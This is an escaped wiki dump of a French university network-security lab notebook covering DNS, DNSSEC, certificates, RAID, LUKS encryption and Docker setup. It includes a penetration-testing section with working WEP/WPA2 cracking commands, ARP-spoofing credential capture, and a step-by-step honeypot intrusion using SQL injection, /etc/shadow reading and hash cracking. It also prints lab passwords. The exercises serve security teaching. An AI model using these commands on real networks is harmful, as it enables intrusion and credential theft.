 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== Partie 7 ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifier notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Ainsi que supprimer le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
=== Création de votre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un role ansible pour créer un depot local docker sur notre machine secondaire :&lt;br /&gt;
&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021&amp;diff=54873</id>
		<title>TP sysres IMA5sc 2020/2021</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021&amp;diff=54873"/>
				<updated>2020-12-17T14:47:16Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Plan d'adressage */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G1 | Cahier groupe n°1]]&lt;br /&gt;
| GURY Evan &amp;amp; DUBOIS Vincent&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G2 | Cahier groupe n°2]]&lt;br /&gt;
| BARGIBANT Quentin &amp;amp; LAGNEAU Alex&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G3 | Cahier groupe n°3]]&lt;br /&gt;
| SIMONIN Richard &amp;amp; MERTZ Thomas&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G4 | Cahier groupe n°4]]&lt;br /&gt;
| BENAYED Samuel &amp;amp; EVRARD Théo&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G5 | Cahier groupe n°5]]&lt;br /&gt;
| RINGOT Loïc &amp;amp; SANCHEZ Pierre&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G6 | Cahier groupe n°6]]&lt;br /&gt;
| NDUWAMUNGU Jean De Dieu &amp;amp; MOINAT Théau&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G7 | Cahier groupe n°7]]&lt;br /&gt;
| EKHLAS EID Nour &amp;amp; BISALLI Clara&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G8 | Cahier groupe n°8]]&lt;br /&gt;
| SOULAIMANI Jawad &amp;amp; TEKIN Kadir&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G9 | Cahier groupe n°9]]&lt;br /&gt;
| VIEUBLED Tanguy &amp;amp; VERNIER Paul&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G10 | Cahier groupe n°10]]&lt;br /&gt;
| MALTI Hind &amp;amp; AHOUASSOU Loris&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G11 | Cahier groupe n°11]]&lt;br /&gt;
| DARDENNE Sébastien &amp;amp; CALLERISA Corto&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G12 | Cahier groupe n°12]]&lt;br /&gt;
| NORMAND Quentin &amp;amp; CLAUDEL Maxime&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2020/2021 G14 | Cahier groupe n°14]]&lt;br /&gt;
| FAUCHOIS Lukas &amp;amp; ROUILLÉ Guillaume&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Plan d'adressage==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (publique) !! IP (privée) !! IP (Port ssh)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 14&lt;br /&gt;
| oronge.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 314&lt;br /&gt;
| 193.48.57.176&lt;br /&gt;
| 100.64.0.16&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 12&lt;br /&gt;
| truffe.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 312&lt;br /&gt;
| 193.48.57.177&lt;br /&gt;
| 100.64.0.17&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 11&lt;br /&gt;
| stropharia.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 311&lt;br /&gt;
| 193.48.57.178&lt;br /&gt;
| 100.64.0.18&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 10&lt;br /&gt;
| pleurote.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 310&lt;br /&gt;
| 193.48.57.179&lt;br /&gt;
| 100.64.0.19&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 309&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
| 100.64.0.20&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 8&lt;br /&gt;
| piedbleu.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 308&lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
